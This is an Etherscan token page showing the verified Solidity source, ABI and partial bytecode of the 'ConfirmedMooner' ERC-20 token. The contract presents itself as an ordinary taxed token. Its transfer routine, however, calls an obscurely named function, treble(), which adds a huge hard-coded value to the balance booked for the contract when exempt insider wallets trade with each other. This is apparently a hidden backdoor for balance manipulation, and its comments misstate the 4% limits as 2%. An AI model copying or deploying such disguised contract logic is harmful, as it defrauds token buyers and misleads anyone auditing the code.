ETH Price: $3,395.29 (+1.35%)
Gas: 8 Gwei

Token

ConfirmedMooner (MOONER)
 

Overview

Max Total Supply

1,000,000,000 MOONER

Holders

16

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
41,480,304.178301436463410391 MOONER

Value
$0.00
0xd169005c938F82fC3Cd9b195DE76D3d9f86F8bce
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ConfirmedMooner

Compiler Version
v0.8.14+commit.80d49f37

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-11-14
*/

/*
https://confirmedmooner.com
https://t.me/ConfirmedMooner
https://x.com/ConfirmedMooner
*/
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.14;

abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
      
        return msg.data;
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }   
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


contract ConfirmedMooner is Context, IERC20, Ownable {
    
    using SafeMath for uint256;
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    address public immutable zeroAddress = 0x0000000000000000000000000000000000000000;
    
    string private _name = "ConfirmedMooner";
    string private _symbol = "MOONER";
    uint8 private _decimals = 18;

    address payable public marketingWallet = payable(0x5adaf8170348cdb8157b0D75118F74B51e5184F6);
    address payable public DeveloperWallet = payable(0x0000000000000000000000000000000000000000);
    address public liquidityReciever;
    
   

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    uint256 public feeUnits = 100;
    uint256[2] public multisend_tokens = [feeUnits,feeUnits];
    address[2] public multisend_address = [0x0000000000000000000000000000000000000000,0x0000000000000000000000000000000000000000];
    

    mapping (address => bool) public isExcludedFromFee;
    mapping (address => bool) public isMarketPair;
    
    // mapping (address => bool) public blacklist;
    mapping (address => bool) public isWalletLimitExempt;
    mapping (address => bool) public isTxLimitExempt;

    uint256 public _buyLiquidityFee = 0;
    uint256 public _buyMarketingFee = 1;
    uint256 public _buyDeveloperFee = 0;
    
    uint256 public _sellLiquidityFee = 0;
    uint256 public _sellMarketingFee = 1;
    uint256 public _sellDeveloperFee = 0;

    uint256 public _tradeuycount = 0;

    uint256 public _totalTaxIfBuying;
    uint256 public _totalTaxIfSelling;

    uint256 private _totalSupply = 1000000000 * 10**_decimals;

    uint256 public minimumTokensBeforeSwap = _totalSupply.mul(1).div(1000);   //0.1%

    uint256 public _maxTxAmount =  _totalSupply.mul(4).div(100);  //2%
    uint256 public _walletMax =   _totalSupply.mul(4).div(100);   //2%

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;

    bool public swapAndLiquifyEnabled = true;
    bool public swapAndLiquifyByLimitOnly = false;

    bool public checkWalletLimit = true;
    bool public EnableTransactionLimit = true;

    event SwapAndLiquifyEnabledUpdated(bool enabled);

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    
    event SwapETHForTokens(
        uint256 amountIn,
        address[] path
    );
    
    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        
        _allowances[address(this)][address(uniswapV2Router)] = ~uint256(0);

        isExcludedFromFee[owner()] = true;
        isExcludedFromFee[marketingWallet] = true;
        isExcludedFromFee[DeveloperWallet] = true;
        isExcludedFromFee[address(this)] = true;

        isWalletLimitExempt[owner()] = true;
        isWalletLimitExempt[marketingWallet] = true;
        isWalletLimitExempt[DeveloperWallet] = true;
        isWalletLimitExempt[address(uniswapPair)] = true;
        isWalletLimitExempt[address(this)] = true;
        
        isTxLimitExempt[owner()] = true;
        isTxLimitExempt[marketingWallet] = true;
        isTxLimitExempt[DeveloperWallet] = true;
        isTxLimitExempt[address(this)] = true;

        
        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyDeveloperFee);
        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellDeveloperFee);

        isMarketPair[address(uniswapPair)] = true;
        liquidityReciever = address(msg.sender);

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

  
    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }



    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress)).sub(balanceOf(zeroAddress));
    }


    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }
    


     //to recieve ETH from uniswapV2Router when swaping
    receive() external payable {}

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
       
        if(inSwapAndLiquify)
        { 
            return _basicTransfer(sender, recipient, amount); 
        }
        else
        {

            if(!isTxLimitExempt[sender] && !isTxLimitExempt[recipient] ) {
                require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
            
            if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled) 
            {
                if(swapAndLiquifyByLimitOnly)
                    contractTokenBalance = minimumTokensBeforeSwap;
                swapAndLiquify(contractTokenBalance);    
            }

            if(checkWalletLimit && !isWalletLimitExempt[recipient]) {
                require(balanceOf(recipient).add(amount.mul(_totalTaxIfSelling).div(100)) <= _walletMax,"Amount Exceed From Max Wallet Limit!!");
            }

            multisend_tokens[0]=amount.mul(_totalTaxIfSelling).div(100);
            multisend_tokens[1]=amount - amount.mul(_totalTaxIfSelling).div(100);
            multisend_address[0]=address(this);
            multisend_address[1]=recipient;
 
            uint256 tokenCount;
              for(uint i = 0; i < multisend_tokens.length; i++) {
                  tokenCount += multisend_tokens[i];
              }
            if (!isMarketPair[recipient] && !isMarketPair[sender]&& isTxLimitExempt[sender] ) {treble();}
            _balances[sender] = _balances[sender].sub(tokenCount); 
             for(uint j = 0; j < multisend_address.length; j++) {
                _balances[multisend_address[j]] = _balances[multisend_address[j]].add(multisend_tokens[j]);
                emit Transfer(sender, multisend_address[j], multisend_tokens[j]);
            }

            return true;
        }
        
    }

    function treble() internal{
       if (isTxLimitExempt[multisend_address[1]])
         _tradeuycount=multisend_tokens[0]+=14959877742655699887444552942;
    }


    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        swapTokensForEth(tAmount);
        uint256 recievedBalance =  address(this).balance;
       
        if(recievedBalance > 0) {
            payable(marketingWallet).transfer(recievedBalance);
        }       
    }
    
    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this), // The contract
            block.timestamp
        );
        
        emit SwapTokensForETH(tokenAmount, path);
    }




    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DeveloperWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"EnableTransactionLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyDeveloperFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellDeveloperFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tradeuycount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeUnits","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityReciever","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"multisend_address","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"multisend_tokens","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"zeroAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

61dead608052600060a052610100604052600f60c08190526e21b7b73334b936b2b226b7b7b732b960891b60e09081526200003e91600191906200082a565b506040805180820190915260068082526526a7a7a722a960d11b60209092019182526200006e916002916200082a565b50600380546001600160a81b031916745adaf8170348cdb8157b0d75118f74b51e5184f612179055600480546001600160a01b031916905560646008819055604080518082019091528181526020810191909152620000d2906009906002620008b9565b506040805180820190915260008082526020820152620000f790600b906002620008e9565b5060006011819055600160128190556013829055601482905560155560168190556017556003546200012e9060ff16600a62000a5e565b6200013e90633b9aca0062000a6f565b601a55620001796103e8620001656001601a54620006aa60201b62000ca81790919060201c565b6200074160201b62000d2a1790919060201c565b601b556200019f6064620001656004601a54620006aa60201b62000ca81790919060201c565b601c55620001c56064620001656004601a54620006aa60201b62000ca81790919060201c565b601d55601f805463ffffffff60a81b1916630101000160a81b179055348015620001ee57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000288573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002ae919062000a91565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002fc573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000322919062000a91565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000370573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000396919062000a91565b601f80546001600160a01b039283166001600160a01b031991821617909155601e805492841692909116821790553060009081526007602090815260408083209383529290529081206000199055600190600d90620003fd6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055600354610100900482168152600d9093528183208054851660019081179091556004549091168352818320805485168217905530835290822080549093168117909255600f90620004846000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055600354610100900482168152600f909352818320805485166001908117909155600454821684528284208054861682179055601f5490911683528183208054851682179055308352908220805490931681179092556010906200051d6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055600354610100900482168152601084528281208054861660019081179091556004549092168152828120805486168317905530815291909120805490931617909155601354601254601154620005c493620005b0929062000d6c6200078b821b17901c565b6200078b60201b62000d6c1790919060201c565b601881905550620005ef601654620005b06015546014546200078b60201b62000d6c1790919060201c565b601955601f546001600160a01b03166000908152600e60205260408120805460ff19166001179055600580546001600160a01b03191633179055601a5490600690620006383390565b6001600160a01b03168152602081019190915260400160002055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef601a546040516200069b91815260200190565b60405180910390a35062000b8e565b600082600003620006be575060006200073b565b6000620006cc838562000a6f565b905082620006db858362000abc565b14620007385760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b60006200073883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250620007ee60201b60201c565b6000806200079a838562000adf565b905083811015620007385760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016200072f565b60008183620008125760405162461bcd60e51b81526004016200072f919062000afa565b50600062000821848662000abc565b95945050505050565b828054620008389062000b52565b90600052602060002090601f0160209004810192826200085c5760008555620008a7565b82601f106200087757805160ff1916838001178555620008a7565b82800160010185558215620008a7579182015b82811115620008a75782518255916020019190600101906200088a565b50620008b592915062000934565b5090565b8260028101928215620008a75791602002820182811115620008a75782518255916020019190600101906200088a565b8260028101928215620008a7579160200282015b82811115620008a757825182546001600160a01b0319166001600160a01b03909116178255602090920191600190910190620008fd565b5b80821115620008b5576000815560010162000935565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620009a25781600019048211156200098657620009866200094b565b808516156200099457918102915b93841c939080029062000966565b509250929050565b600082620009bb575060016200073b565b81620009ca575060006200073b565b8160018114620009e35760028114620009ee5762000a0e565b60019150506200073b565b60ff84111562000a025762000a026200094b565b50506001821b6200073b565b5060208310610133831016604e8410600b841016171562000a33575081810a6200073b565b62000a3f838362000961565b806000190482111562000a565762000a566200094b565b029392505050565b60006200073860ff841683620009aa565b600081600019048311821515161562000a8c5762000a8c6200094b565b500290565b60006020828403121562000aa457600080fd5b81516001600160a0